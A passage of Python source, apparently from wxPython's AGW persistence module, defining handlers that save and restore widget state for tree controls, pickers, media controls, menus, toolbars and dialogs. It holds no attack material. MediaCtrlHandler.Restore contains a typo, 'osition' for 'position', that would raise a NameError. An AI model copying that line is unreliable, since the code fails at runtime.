self._window.HasFlag(wx.TR_HIDE_ROOT):\n self.SetCheckedStateOfChildren(listOfCheckedItems, root)\n else:\n self.SetCheckedStateOfItem(listOfCheckedItems, root)\n\n\n def GetExpansionStateOfItem(self, item):\n \"\"\"\n Returns the expansion state of a tree item.\n\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n \n listOfExpandedItems = []\n if self._window.IsExpanded(item):\n listOfExpandedItems.append(self.GetItemIdentity(item))\n listOfExpandedItems.extend(self.GetExpansionStateOfChildren(item))\n \n return listOfExpandedItems\n\n\n def GetExpansionStateOfChildren(self, item):\n \"\"\"\n Returns the expansion state of the children of a tree item.\n\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n \n listOfExpandedItems = []\n for child in self.GetItemChildren(item):\n listOfExpandedItems.extend(self.GetExpansionStateOfItem(child))\n\n return listOfExpandedItems\n\n\n def GetCheckedStateOfItem(self, item):\n \"\"\"\n Returns the checked/unchecked state of a tree item.\n\n :param `item`: a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n \n listOfCheckedItems = []\n if self._window.IsChecked(item):\n listOfCheckedItems.append(self.GetItemIdentity(item))\n \n listOfCheckedItems.extend(self.GetCheckedStateOfChildren(item))\n \n return listOfCheckedItems\n\n\n def GetCheckedStateOfChildren(self, item):\n \"\"\"\n Returns the checked/unchecked state of the children of a tree item.\n\n :param `item`: a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n \n listOfCheckedItems = []\n for child in self.GetItemChildren(item):\n listOfCheckedItems.extend(self.GetCheckedStateOfItem(child))\n\n return listOfCheckedItems\n\n\n def GetSelectionStateOfItem(self, item):\n \"\"\"\n Returns the selection state of a tree item.\n\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n \n listOfSelectedItems = []\n if self._window.IsSelected(item):\n listOfSelectedItems.append(self.GetItemIdentity(item))\n \n listOfSelectedItems.extend(self.GetSelectionStateOfChildren(item))\n \n return listOfSelectedItems\n\n\n def GetSelectionStateOfChildren(self, item):\n \"\"\"\n Returns the selection state of the children of a tree item.\n\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n \n listOfSelectedItems = []\n for child in self.GetItemChildren(item):\n listOfSelectedItems.extend(self.GetSelectionStateOfItem(child))\n\n return listOfSelectedItems\n\n\n def SetExpansionStateOfItem(self, listOfExpandedItems, item):\n \"\"\"\n Sets the expansion state of a tree item (expanded or collapsed).\n\n :param `listOfExpandedItems`: a list of expanded `wx.TreeCtrl` or\n L{customtreectrl.CustomTreeCtrl} items;\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n \n if self.GetItemIdentity(item) in listOfExpandedItems:\n self._window.Expand(item)\n self.SetExpansionStateOfChildren(listOfExpandedItems, item)\n else:\n self._window.Collapse(item)\n\n\n def SetExpansionStateOfChildren(self, listOfExpandedItems, item):\n \"\"\"\n Sets the expansion state of the children of a tree item (expanded or collapsed).\n\n :param `listOfExpandedItems`: a list of expanded `wx.TreeCtrl` or\n L{customtreectrl.CustomTreeCtrl} items;\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n\n for child in self.GetItemChildren(item):\n self.SetExpansionStateOfItem(listOfExpandedItems, child)\n\n\n def SetCheckedStateOfItem(self, listOfCheckedItems, item):\n \"\"\"\n Sets the checked/unchecked state of a tree item.\n\n :param `listOfCheckedItems`: a list of checked L{customtreectrl.CustomTreeCtrl} items;\n :param `item`: a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n\n if self.GetItemIdentity(item) in listOfCheckedItems:\n self._window.CheckItem2(item, True)\n else:\n self._window.CheckItem2(item, False)\n\n self.SetCheckedStateOfChildren(listOfCheckedItems, item)\n\n\n def SetCheckedStateOfChildren(self, listOfCheckedItems, item):\n \"\"\"\n Sets the checked/unchecked state of the children of a tree item.\n\n :param `listOfCheckedItems`: a list of checked L{customtreectrl.CustomTreeCtrl} items;\n :param `item`: a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n\n for child in self.GetItemChildren(item):\n self.SetCheckedStateOfItem(listOfCheckedItems, child)\n\n\n def SetSelectedStateOfItem(self, listOfSelectedItems, item):\n \"\"\"\n Sets the selection state of a tree item.\n\n :param `listOfSelectedItems`: a list of selected `wx.TreeCtrl` or\n L{customtreectrl.CustomTreeCtrl} items;\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n\n if self.GetItemIdentity(item) in listOfSelectedItems:\n if self._isTreeList:\n self._window.SelectItem(item, unselect_others=False)\n else:\n self._window.SelectItem(item)\n\n self.SetSelectedStateOfChildren(listOfSelectedItems, item)\n\n\n def SetSelectedStateOfChildren(self, listOfSelectedItems, item):\n \"\"\"\n Sets the selection state of the children of a tree item.\n\n :param `listOfSelectedItems`: a list of selected `wx.TreeCtrl` or\n L{customtreectrl.CustomTreeCtrl} items;\n :param `item`: a `wx.TreeCtrl` item or a L{customtreectrl.CustomTreeCtrl} item.\n \"\"\"\n \n for child in self.GetItemChildren(item):\n self.SetSelectedStateOfItem(listOfSelectedItems, child)\n\n\n def Save(self):\n\n tree, obj = self._window, self._pObject\n\n obj.SaveValue(PERSIST_TREECTRL_EXPANSION, self.GetExpansionState())\n\n if issubclass(tree.__class__, (HTL.HyperTreeList, CT.CustomTreeCtrl)):\n obj.SaveValue(PERSIST_TREECTRL_CHECKED_ITEMS, self.GetCheckedState())\n \n manager = PM.PersistenceManager.Get()\n if manager.GetManagerStyle() & PM_SAVE_RESTORE_TREE_LIST_SELECTIONS == 0:\n # We don't want to save selected items\n return True\n \n obj.SaveValue(PERSIST_TREECTRL_SELECTIONS, self.GetSelectionState())\n return True\n \n\n def Restore(self):\n\n tree, obj = self._window, self._pObject\n expansion = obj.RestoreValue(PERSIST_TREECTRL_EXPANSION)\n selections = obj.RestoreValue(PERSIST_TREECTRL_SELECTIONS)\n \n if expansion is not None:\n self.SetExpansionState(expansion)\n\n manager = PM.PersistenceManager.Get()\n if manager.GetManagerStyle() & PM_SAVE_RESTORE_TREE_LIST_SELECTIONS:\n # We want to restore selected items\n if selections is not None:\n self.SetSelectionState(selections)\n\n if not issubclass(tree.__class__, (HTL.HyperTreeList, CT.CustomTreeCtrl)):\n return (expansion is not None and selections is not None)\n\n checked = obj.RestoreValue(PERSIST_TREECTRL_CHECKED_ITEMS)\n if checked is not None:\n self.SetCheckedState(checked)\n \n return (expansion is not None and selections is not None and checked is not None)\n\n\n def GetKind(self):\n\n return PERSIST_TREECTRL_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass TreeListCtrlHandler(TreeCtrlHandler):\n \"\"\"\n Supports saving/restoring a `wx.gizmos.TreeListCtrl` / L{hypertreelist.HyperTreeList} expansion state,\n selections, column widths and checked items state (meaningful only for L{hypertreelist.HyperTreeList}).\n\n This class handles the following wxPython widgets:\n\n - `wx.gizmos.TreeListCtrl`;\n - L{hypertreelist.HyperTreeList}.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n TreeCtrlHandler.__init__(self, pObject)\n\n \n def Save(self):\n\n treeList, obj = self._window, self._pObject\n\n colSizes = []\n for col in xrange(treeList.GetColumnCount()):\n colSizes.append(treeList.GetColumnWidth(col))\n \n obj.SaveValue(PERSIST_TREELISTCTRL_COLWIDTHS, colSizes)\n\n return TreeCtrlHandler.Save(self)\n \n\n def Restore(self):\n\n treeList, obj = self._window, self._pObject\n colSizes = obj.RestoreValue(PERSIST_TREELISTCTRL_COLWIDTHS)\n retVal = False\n\n count = treeList.GetColumnCount() \n if colSizes is not None:\n retVal = True\n for col, size in enumerate(colSizes):\n if col < count:\n treeList.SetColumnWidth(col, size)\n \n return (retVal and TreeCtrlHandler.Restore(self))\n \n\n def GetKind(self):\n\n return PERSIST_TREELISTCTRL_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass CalendarCtrlHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.calendar.CalendarCtrl` date.\n\n This class handles the following wxPython widgets:\n\n - `wx.lib.calendar.CalendarCtrl`.\n\n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n calend, obj = self._window, self._pObject\n obj.SaveValue(PERSIST_CALENDAR_DATE, wxDate2PyDate(calend.GetDate()))\n return True\n \n\n def Restore(self):\n\n calend, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_CALENDAR_DATE)\n\n if value is not None:\n calend.SetDate(PyDate2wxDate(value))\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_CALENDAR_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass CollapsiblePaneHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.CollapsiblePane` state.\n\n This class handles the following wxPython widgets:\n\n - `wx.CollapsiblePane`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n collPane, obj = self._window, self._pObject\n obj.SaveValue(PERSIST_COLLAPSIBLE_STATE, collPane.IsCollapsed())\n return True\n \n\n def Restore(self):\n\n collPane, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_COLLAPSIBLE_STATE)\n\n if value is not None:\n collPane.Collapse(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_COLLAPSIBLE_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass DatePickerHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.DatePickerCtrl` / `wx.GenericDatePickerCtrl` date.\n\n This class handles the following wxPython widgets:\n\n - `wx.DatePickerCtrl`;\n - `wx.GenericDatePickerCtrl`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n datePicker, obj = self._window, self._pObject\n obj.SaveValue(PERSIST_DATEPICKER_DATE, wxDate2PyDate(datePicker.GetValue()))\n return True\n \n\n def Restore(self):\n\n datePicker, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_DATEPICKER_DATE)\n\n if value is not None:\n datePicker.SetValue(PyDate2wxDate(value))\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_DATEPICKER_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass MediaCtrlHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.media.MediaCtrl` movie position, volume and playback\n rate.\n\n This class handles the following wxPython widgets:\n\n - `wx.media.MediaCtrl`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n mediaCtrl, obj = self._window, self._pObject\n obj.SaveValue(PERSIST_MEDIA_POS, mediaCtrl.Tell())\n obj.SaveValue(PERSIST_MEDIA_VOLUME, mediaCtrl.GetVolume())\n obj.SaveValue(PERSIST_MEDIA_RATE, mediaCtrl.GetPlaybackRate())\n return True\n \n\n def Restore(self):\n\n mediaCtrl, obj = self._window, self._pObject\n position = obj.RestoreValue(PERSIST_MEDIA_POS)\n volume = obj.RestoreValue(PERSIST_MEDIA_VOLUME)\n rate = obj.RestoreValue(PERSIST_MEDIA_RATE)\n \n if position is not None:\n mediaCtrl.Seek(position)\n\n if volume is not None:\n mediaCtrl.SetVolume(volume)\n\n if rate is not None:\n mediaCtrl.SetPlaybackRate(rate)\n \n return (osition is not None and volume is not None and rate is not None)\n\n\n def GetKind(self):\n\n return PERSIST_MEDIA_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ColourPickerHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.ColourPickerCtrl` / `wx.lib.colourselect.ColourSelect` colour.\n\n This class handles the following wxPython widgets:\n\n - `wx.ColourPickerCtrl`;\n - `wx.lib.colourselect.ColourSelect`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n colPicker, obj = self._window, self._pObject\n obj.SaveValue(PERSIST_COLOURPICKER_COLOUR, colPicker.GetColour().Get(includeAlpha=True))\n return True\n \n\n def Restore(self):\n\n colPicker, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_COLOURPICKER_COLOUR)\n\n if value is not None:\n colPicker.SetColour(wx.Colour(*value))\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_COLOURPICKER_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass FileDirPickerHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.FilePickerCtrl` / `wx.DirPickerCtrl` path.\n\n This class handles the following wxPython widgets:\n\n - `wx.FilePickerCtrl`;\n - `wx.DirPickerCtrl`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n picker, obj = self._window, self._pObject\n\n path = picker.GetPath() \n if issubclass(picker.__class__, wx.FileDialog):\n if picker.GetWindowStyleFlag() & wx.FD_MULTIPLE:\n path = picker.GetPaths()\n \n obj.SaveValue(PERSIST_FILEDIRPICKER_PATH, path)\n return True\n \n\n def Restore(self):\n\n picker, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_FILEDIRPICKER_PATH)\n\n if value is not None:\n if issubclass(picker.__class__, wx.FileDialog):\n if type(value) == types.ListType:\n value = value[-1]\n \n picker.SetPath(value)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_FILEDIRPICKER_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass FontPickerHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.FontPicker` font.\n\n This class handles the following wxPython widgets:\n\n - `wx.FontPickerCtrl`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n picker, obj = self._window, self._pObject\n \n font = picker.GetSelectedFont()\n if not font.IsOk():\n return False\n \n fontData = CreateFont(font) \n obj.SaveValue(PERSIST_FONTPICKER_FONT, fontData)\n return True\n \n\n def Restore(self):\n\n picker, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_FONTPICKER_FONT)\n\n if value is not None:\n font = wx.Font(*value)\n if font.IsOk():\n picker.SetSelectedFont(font)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_FONTPICKER_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass FileHistoryHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring a `wx.FileHistory` list of file names.\n\n This class handles the following wxPython widgets:\n\n - `wx.FileHistory`.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n history, obj = self._window, self._pObject\n \n paths = []\n for indx in xrange(history.GetCount()):\n paths.append(history.GetHistoryFile(indx))\n \n obj.SaveValue(PERSIST_FILEHISTORY_PATHS, paths)\n return True\n \n\n def Restore(self):\n\n history, obj = self._window, self._pObject\n value = obj.RestoreValue(PERSIST_FILEHISTORY_PATHS)\n\n if value is not None:\n count = history.GetMaxFiles()\n for indx, path in enumerate(value):\n if indx < count:\n history.AddFileToHistory(path)\n return True\n \n return False\n\n\n def GetKind(self):\n\n return PERSIST_FILEHISTORY_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass MenuBarHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring the `wx.MenuBar` and L{flatmenu.FlatMenuBar} items state.\n\n This class handles the following wxPython widgets:\n\n - `wx.MenuBar`;\n - L{flatmenu.FlatMenuBar}.\n \n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n bar, obj = self._window, self._pObject\n menuCount = bar.GetMenuCount()\n\n if menuCount == 0:\n # Nothing to save\n return False\n\n checkRadioItems = {}\n for indx in xrange(menuCount):\n menu = bar.GetMenu(indx)\n for item in menu.GetMenuItems():\n if item.GetKind() in [wx.ITEM_CHECK, wx.ITEM_RADIO]:\n checkRadioItems[item.GetId()] = item.IsChecked()\n \n obj.SaveValue(PERSIST_MENUBAR_CHECKRADIO_ITEMS, checkRadioItems)\n return True\n\n\n def Restore(self):\n\n bar, obj = self._window, self._pObject\n menuCount = bar.GetMenuCount()\n\n if menuCount == 0:\n # Nothing to restore\n return False\n\n checkRadioItems = obj.RestoreValue(PERSIST_MENUBAR_CHECKRADIO_ITEMS)\n\n if checkRadioItems is None:\n return False\n \n retVal = True\n for indx in xrange(menuCount):\n menu = bar.GetMenu(indx)\n for item in menu.GetMenuItems():\n if item.GetKind() in [wx.ITEM_CHECK, wx.ITEM_RADIO]:\n itemId = item.GetId()\n if itemId in checkRadioItems:\n item.Check(checkRadioItems[itemId])\n else:\n retVal = False\n\n return retVal \n \n\n def GetKind(self):\n\n return PERSIST_MENUBAR_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ToolBarHandler(AbstractHandler):\n \"\"\"\n Supports saving/restoring the L{auibar.AuiToolBar} items state.\n\n This class handles the following wxPython widgets:\n\n - L{auibar.AuiToolBar}.\n\n :todo: Find a way to handle `wx.ToolBar` UI settings as it has been done for L{auibar.AuiToolBar}: currently `wx.ToolBar` doesn't seem to have easy access to the underlying toolbar tools.\n \"\"\"\n \n def __init__(self, pObject):\n\n AbstractHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n bar, obj = self._window, self._pObject\n toolCount = bar.GetToolCount()\n\n if toolCount == 0:\n # Nothing to save\n return False\n\n checkRadioItems = {}\n for indx in xrange(toolCount):\n tool = bar.FindToolByIndex(indx)\n if tool is not None:\n if tool.GetKind() in [AUI.ITEM_CHECK, AUI.ITEM_RADIO]:\n checkRadioItems[tool.GetId()] = tool.GetState() & AUI.AUI_BUTTON_STATE_CHECKED\n \n obj.SaveValue(PERSIST_TOOLBAR_CHECKRADIO_ITEMS, checkRadioItems)\n return True\n \n\n def Restore(self):\n\n bar, obj = self._window, self._pObject\n toolCount = bar.GetToolCount()\n\n if toolCount == 0:\n # Nothing to save\n return False\n\n checkRadioItems = obj.RestoreValue(PERSIST_TOOLBAR_CHECKRADIO_ITEMS)\n\n if checkRadioItems is None:\n return False\n \n for indx in xrange(toolCount):\n tool = bar.FindToolByIndex(indx)\n if tool is not None:\n toolId = tool.GetId()\n if toolId in checkRadioItems:\n if tool.GetKind() in [AUI.ITEM_CHECK, AUI.ITEM_RADIO]:\n state = checkRadioItems[toolId]\n if state & AUI.AUI_BUTTON_STATE_CHECKED: \n tool.SetState(tool.GetState() | AUI.AUI_BUTTON_STATE_CHECKED)\n else:\n tool.SetState(tool.GetState() & ~AUI.AUI_BUTTON_STATE_CHECKED)\n \n return True\n \n\n def GetKind(self):\n\n return PERSIST_TOOLBAR_KIND\n \n# ----------------------------------------------------------------------------------- #\n\nclass FileDirDialogHandler(TLWHandler, FileDirPickerHandler):\n \"\"\"\n Supports saving/restoring a `wx.DirDialog` / `wx.FileDialog` path.\n\n This class handles the following wxPython widgets:\n\n - `wx.DirDialog`;\n - `wx.FileDialog`.\n \"\"\"\n \n def __init__(self, pObject):\n\n TLWHandler.__init__(self, pObject)\n FileDirPickerHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n tlw = TLWHandler.Save(self)\n fdp = FileDirPickerHandler.Save(self)\n \n return (tlw and fdp)\n \n\n def Restore(self):\n\n tlw = TLWHandler.Restore(self)\n fdp = FileDirPickerHandler.Restore(self)\n return (tlw and fdp)\n \n\n def GetKind(self):\n\n return PERSIST_FILEDIRPICKER_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass FindReplaceHandler(TLWHandler):\n \"\"\"\n Supports saving/restoring a `wx.FindReplaceDialog` data (search string, replace string\n and flags).\n\n This class handles the following wxPython widgets:\n\n - L`wx.FindReplaceDialog`.\n\n :todo: Find a way to properly save and restore dialog data (`wx.ColourDialog`, `wx.FontDialog` etc...).\n\n \"\"\"\n \n def __init__(self, pObject):\n\n TLWHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n findDialog, obj = self._window, self._pObject\n data = findDialog.GetData()\n \n obj.SaveValue(PERSIST_FINDREPLACE_FLAGS, data.GetFlags())\n obj.SaveValue(PERSIST_FINDREPLACE_SEARCH, data.GetFindString())\n obj.SaveValue(PERSIST_FINDREPLACE_REPLACE, data.GetReplaceString())\n\n return TLWHandler.Save(self)\n \n\n def Restore(self):\n\n findDialog, obj = self._window, self._pObject\n \n flags = obj.RestoreValue(PERSIST_FINDREPLACE_FLAGS)\n search = obj.RestoreValue(PERSIST_FINDREPLACE_SEARCH)\n replace = obj.RestoreValue(PERSIST_FINDREPLACE_REPLACE)\n\n data = findDialog.GetData()\n if flags is not None:\n data.SetFlags(flags)\n if search is not None:\n data.SetFindString(search)\n if replace is not None:\n data.SetReplaceString(replace)\n\n retVal = TLWHandler.Restore(self)\n \n return (flags is not None and search is not None and replace is not None and retVal)\n\n\n def GetKind(self):\n\n return PERSIST_FINDREPLACE_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass FontDialogHandler(TLWHandler):\n \"\"\"\n Supports saving/restoring a `wx.FontDialog` data (effects, symbols, colour, font, help).\n\n This class handles the following wxPython widgets:\n\n - `wx.FontDialog`.\n \n :todo: Find a way to properly save and restore dialog data (`wx.ColourDialog`, `wx.FontDialog` etc...).\n\n \"\"\"\n \n def __init__(self, pObject):\n\n TLWHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n fontDialog, obj = self._window, self._pObject\n data = fontDialog.GetFontData()\n \n obj.SaveValue(PERSIST_FONTDIALOG_EFFECTS, data.GetEnableEffects())\n obj.SaveValue(PERSIST_FONTDIALOG_SYMBOLS, data.GetAllowSymbols())\n obj.SaveValue(PERSIST_FONTDIALOG_COLOUR, data.GetColour().Get(includeAlpha=True))\n obj.SaveValue(PERSIST_FONTDIALOG_FONT, CreateFont(data.GetChosenFont()))\n obj.SaveValue(PERSIST_FONTDIALOG_HELP, data.GetShowHelp())\n\n return TLWHandler.Save(self)\n \n\n def Restore(self):\n\n fontDialog, obj = self._window, self._pObject\n data = fontDialog.GetFontData()\n\n effects = obj.RestoreValue(PERSIST_FONTDIALOG_EFFECTS)\n symbols = obj.RestoreValue(PERSIST_FONTDIALOG_SYMBOLS)\n colour = obj.RestoreValue(PERSIST_FONTDIALOG_COLOUR)\n font = obj.RestoreValue(PERSIST_FONTDIALOG_FONT)\n help = obj.RestoreValue(PERSIST_FONTDIALOG_HELP)\n\n if effects is not None:\n data.EnableEffects(effects)\n if symbols is not None:\n data.SetAllowSymbols(symbols)\n if colour is not None:\n data.SetColour(wx.Colour(*colour))\n if font is not None:\n data.SetInitialFont(wx.Font(*font))\n if help is not None:\n data.SetShowHelp(help)\n \n return (effects is not None and symbols is not None and colour is not None and \\\n font is not None and help is not None and TLWHandler.Restore(self))\n\n\n def GetKind(self):\n\n return PERSIST_FONTDIALOG_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ColourDialogHandler(TLWHandler):\n \"\"\"\n Supports saving/restoring a `wx.ColourDialog` data (colour, custom colours and full\n choice in the dialog).\n\n This class handles the following wxPython widgets:\n\n - `wx.ColourDialog`;\n - L{cubecolourdialog.CubeColourDialog}.\n\n :todo: Find a way to properly save and restore dialog data (`wx.ColourDialog`, `wx.FontDialog` etc...).\n\n \"\"\"\n \n def __init__(self, pObject):\n\n TLWHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n colDialog, obj = self._window, self._pObject\n data = colDialog.GetColourData()\n\n obj.SaveValue(PERSIST_COLOURDIALOG_COLOUR, data.GetColour().Get(includeAlpha=True))\n obj.SaveValue(PERSIST_COLOURDIALOG_CHOOSEFULL, data.GetChooseFull())\n\n customColours = []\n for indx in xrange(15):\n colour = data.GetCustomColour(indx)\n if not colour.IsOk() or colour == wx.WHITE:\n break\n \n customColours.append(colour.Get(includeAlpha=True))\n \n obj.SaveValue(PERSIST_COLOURDIALOG_CUSTOMCOLOURS, customColours)\n\n return TLWHandler.Save(self)\n \n\n def Restore(self):\n\n colDialog, obj = self._window, self._pObject\n data = colDialog.GetColourData()\n\n colour = obj.RestoreValue(PERSIST_COLOURDIALOG_COLOUR)\n chooseFull = obj.RestoreValue(PERSIST_COLOURDIALOG_CHOOSEFULL)\n customColours = obj.RestoreValue(PERSIST_COLOURDIALOG_CUSTOMCOLOURS)\n\n if colour is not None:\n data.SetColour(wx.Colour(*colour))\n if chooseFull is not None:\n data.SetChooseFull(chooseFull)\n if customColours is not None:\n for indx, colour in enumerate(customColours):\n data.SetCustomColour(indx, colour)\n \n return (colour is not None and chooseFull is not None and customColours is not None \\\n and TLWHandler.Restore(self))\n\n\n def GetKind(self):\n\n return PERSIST_COLOURDIALOG_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass ChoiceDialogHandler(TLWHandler):\n \"\"\"\n Supports saving/restoring a `wx.MultiChoiceDialog` / `wx.SingleChoiceDialog` choices.\n\n This class handles the following wxPython widgets:\n\n - `wx.SingleChoiceDialog`;\n - `wx.MultiChoiceDialog`.\n \"\"\"\n \n def __init__(self, pObject):\n\n TLWHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n dialog, obj = self._window, self._pObject\n\n if issubclass(dialog.__class__, wx.SingleChoiceDialog):\n selections = dialog.GetSelection()\n selections = (selections >= 0 and [selections] or [[]])[0]\n else:\n selections = dialog.GetSelections()\n \n obj.SaveValue(PERSIST_CHOICEDIALOG_SELECTIONS, selections)\n return True\n \n\n def Restore(self):\n\n dialog, obj = self._window, self._pObject\n selections = obj.RestoreValue(PERSIST_CHOICEDIALOG_SELECTIONS)\n\n if selections is None:\n return False\n \n if issubclass(dialog.__class__, wx.SingleChoiceDialog):\n if selections:\n dialog.SetSelection(selections[-1])\n else:\n dialog.SetSelections(selections)\n\n return True\n \n\n def GetKind(self):\n\n return PERSIST_CHOICEDIALOG_KIND\n\n\n# ----------------------------------------------------------------------------------- #\n\nclass TextEntryHandler(TLWHandler, TextCtrlHandler):\n \"\"\"\n Supports saving/restoring a `wx.TextEntryDialog` string.\n\n This class handles the following wxPython widgets:\n\n - `wx.TextEntryDialog`;\n - `wx.PasswordEntryDialog`.\n \"\"\"\n \n def __init__(self, pObject):\n\n TLWHandler.__init__(self, pObject)\n TextCtrlHandler.__init__(self, pObject)\n \n\n def Save(self):\n\n tlw = TLWHandler.Save(self)\n txt = TextCtrlHandler.Save(self)\n return (tlw and txt)\n \n\n def Restore(self):\n\n tlw = TLWHandler.Restore(self)\n txt = TextCtrlHandler.Restore(self)\n return (tlw and txt)\n \n\n def GetKind(self):\n\n return PERSIST_TLW_KIND\n\n \n# ----------------------------------------------------------------------------------- #\n\n\nHANDLERS = {\n \"BookHandler\": (wx.BookCtrlBase, wx.aui.AuiNotebook, AUI.AuiNotebook, FNB.FlatNotebook,\n LBK.LabelBook, LBK.FlatImageBook),\n \"TLWHandler\": (wx.TopLevelWindow, ),\n \"CheckBoxHandler\": (wx.CheckBox, ),\n \"ListBoxHandler\": (wx.ListBox, wx.VListBox, wx.HtmlListBox, wx.SimpleHtmlListBox,\n wx.gizmos.EditableListBox),\n \"ListCtrlHandler\": (wx.ListCtrl, wx.ListView), #ULC.UltimateListCtrl (later)\n \"ChoiceComboHandler\": (wx.Choice, wx.ComboBox, wx.combo.OwnerDrawnComboBox),\n \"RadioBoxHandler\": (wx.RadioBox, ),\n \"RadioButtonHandler\": (wx.RadioButton, ),\n \"ScrolledWindowHandler\": (wx.ScrolledWindow, scrolled.ScrolledPanel),\n \"SliderHandler\": (wx.Slider, KC.KnobCtrl),\n \"SpinHandler\": (wx.SpinButton, wx.SpinCtrl, FS.FloatSpin),\n \"SplitterHandler\": (wx.SplitterWindow, ),\n \"TextCtrlHandler\": (wx.TextCtrl, wx.SearchCtrl, expando.ExpandoTextCtrl, masked.TextCtrl,\n masked.ComboBox, masked.IpAddrCtrl, masked.TimeCtrl, masked.NumCtrl),\n \"ToggleButtonHandler\": (wx.ToggleButton, buttons.GenToggleButton,\n buttons.GenBitmapToggleButton, buttons.GenBitmapTextToggleButton),\n \"TreeCtrlHandler\": (wx.TreeCtrl, wx.GenericDirCtrl, CT.CustomTreeCtrl),\n \"TreeListCtrlHandler\": (HTL.HyperTreeList, wx.gizmos.TreeListCtrl),\n \"CalendarCtrlHandler\": (calendar.CalendarCtrl, ),\n \"CollapsiblePaneHandler\": (wx.CollapsiblePane, ),\n \"DatePickerHandler\": (wx.DatePickerCtrl, wx.GenericDatePickerCtrl),\n \"MediaCtrlHandler\": (wx.media.MediaCtrl, ),\n \"ColourPickerHandler\": (wx.ColourPickerCtrl, csel.ColourSelect),\n \"FileDirPickerHandler\": (wx.FilePickerCtrl, wx.DirPickerCtrl),\n \"FontPickerHandler\": (wx.FontPickerCtrl, ),\n \"FileHistoryHandler\": (wx.FileHistory, ),\n \"MenuBarHandler\": (wx.MenuBar, FM.FlatMenuBar),\n \"ToolBarHandler\": (AUI.AuiToolBar, )\n }\n\nSTANDALONE_HANDLERS = {\n \"TreebookHandler\": (wx.Treebook, ),\n \"CheckListBoxHandler\": (wx.CheckListBox, ),\n \"FileDirDialogHandler\": (wx.DirDialog, wx.FileDialog),\n \"FindReplaceHandler\": (wx.FindReplaceDialog, ),\n \"FontDialogHandler\": (wx.FontDialog, ),\n \"ColourDialogHandler\": (wx.ColourDialog, CCD.CubeColourDialog),\n \"ChoiceDialogHandler\": (wx.SingleChoiceDialog, wx.MultiChoiceDialog),\n 